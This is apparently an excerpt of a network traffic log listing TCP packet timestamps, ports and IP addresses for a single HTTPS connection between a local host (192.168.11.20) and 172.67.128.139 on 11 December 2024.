Dec 11, 2024 12:14:46.807236910 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.807249069 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.807374001 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.807430983 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.807430983 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.807445049 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.807454109 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.807454109 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.807713985 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.808480024 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.809212923 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.809225082 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.809348106 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.809427023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.809427023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.809442043 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.809449911 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.809449911 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.809596062 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.811284065 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.811295033 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.811431885 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.811476946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.811476946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.811485052 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.811528921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.811528921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.811639071 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.813441038 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.813452959 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.813618898 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.813618898 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.813669920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.813669920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.813677073 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.813692093 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.813838005 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.815335035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.815347910 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.815474987 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.815546989 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.815546989 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.815555096 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.815620899 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.815669060 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.818092108 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.818103075 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.818260908 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.818275928 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.818352938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.818352938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.818352938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.818367004 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.818500042 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.819875002 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.819892883 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.820050001 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.820050001 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.820118904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.820118904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.820125103 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.820169926 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.820266008 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.821665049 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.821676016 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.821871042 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.821871042 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.821877956 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.821943998 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.822040081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.823317051 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.823328972 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.823482990 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.823482990 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.823533058 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.823542118 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.823585987 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.823703051 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.826065063 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.826077938 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.826265097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.826265097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.826314926 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.826316118 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.826328993 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:46.826337099 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.826513052 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.833941936 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:46.846982002 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.012589931 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.012603998 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.012738943 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.012738943 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.012785912 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.012785912 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.012794018 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.012887001 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.013034105 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.014429092 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.014442921 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.014560938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.014621973 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.014621973 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.014638901 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.014657974 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.014755964 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.014803886 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.016500950 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.016513109 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.016642094 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.016642094 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.016689062 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.016694069 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.016737938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.016834021 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.016834021 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.018373013 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.018383980 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.018587112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.018635035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.018683910 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.018687963 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.018794060 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.018891096 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.020195961 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.020206928 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.020354986 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.020354986 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.020400047 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.020400047 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.020409107 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.020452023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.020553112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.022608995 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.022620916 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.022799969 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.022950888 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.022959948 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.023114920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.024128914 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.024497986 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.024507999 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.024650097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.024650097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.024697065 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.024705887 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.024744987 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.024791956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.024888992 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.026436090 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.026447058 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.026573896 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.026573896 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.026618958 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.026628971 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.026670933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.026670933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.026807070 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.028342009 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.028353930 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.028407097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.028460026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.028510094 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.028510094 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.028522968 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.028557062 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.028557062 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.028652906 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.029486895 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.029644012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.029692888 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.029692888 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.029701948 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.031707048 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.031717062 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.031977892 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.031986952 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.032026052 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.032073975 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.032123089 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.032172918 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.033791065 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.033806086 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.033919096 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.033920050 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.033931971 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.034064054 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.034112930 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.035670996 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.035682917 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.035815954 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.035861969 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.035861969 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.035875082 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.035913944 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.035960913 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.036465883 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.036581993 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.036591053 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.036631107 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.036782026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.038556099 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.038567066 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.038702965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.038703918 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.038748980 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.038748980 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.038759947 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.038897038 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.038897038 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.040863037 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.040873051 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.041065931 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.041065931 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.041076899 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.041114092 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.041162968 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.041258097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.042913914 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.042922974 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.043502092 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.043502092 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.043502092 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.043517113 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.043651104 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.044806957 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.044817924 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.045047045 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.045047045 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.045059919 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.045142889 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.045200109 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.046488047 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.046902895 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.046915054 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.047048092 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.047048092 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.047142982 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.047142982 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.047154903 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.047240019 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.047290087 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.049313068 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.049324036 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.049493074 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.049493074 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.049509048 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.049542904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.049587965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.049690008 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.050889969 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.050900936 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.051037073 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.051084042 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.051084042 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.051090002 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.051131964 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.051229954 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.052856922 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.052869081 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.053045988 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.053045988 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.053226948 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.053236008 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.053425074 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.055525064 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.055536032 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.055670977 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.055721998 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.055721998 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.055727005 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.055772066 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.055886030 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.057404041 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.057414055 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.057636976 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.057648897 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.057737112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.057832003 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.059470892 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.059480906 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.059591055 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.059591055 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.059640884 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.059648991 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.059686899 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.059787989 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.059834003 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.061023951 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.061033964 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.061228037 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.061280012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.061327934 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.061336040 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.061377048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.061425924 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.061525106 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.063693047 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.063709021 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.063879013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.063888073 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.063934088 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.063977957 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.064027071 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.065674067 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.065685987 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.065921068 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.066282988 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.066282988 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.066282988 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.066294909 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.066332102 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.066332102 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.066382885 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.066525936 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.127584934 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.237062931 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.237096071 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.237293959 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.237293959 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.237314939 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.237338066 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.237461090 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.238991976 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.239020109 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.239203930 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.239204884 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.239223003 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.239249945 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.239361048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.241015911 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.241043091 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.241214037 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.241214037 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.241230011 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.241286039 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.241312981 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.241410017 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.242939949 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.242964029 CET	443	49776	172.67.128.139	192.168.11.20
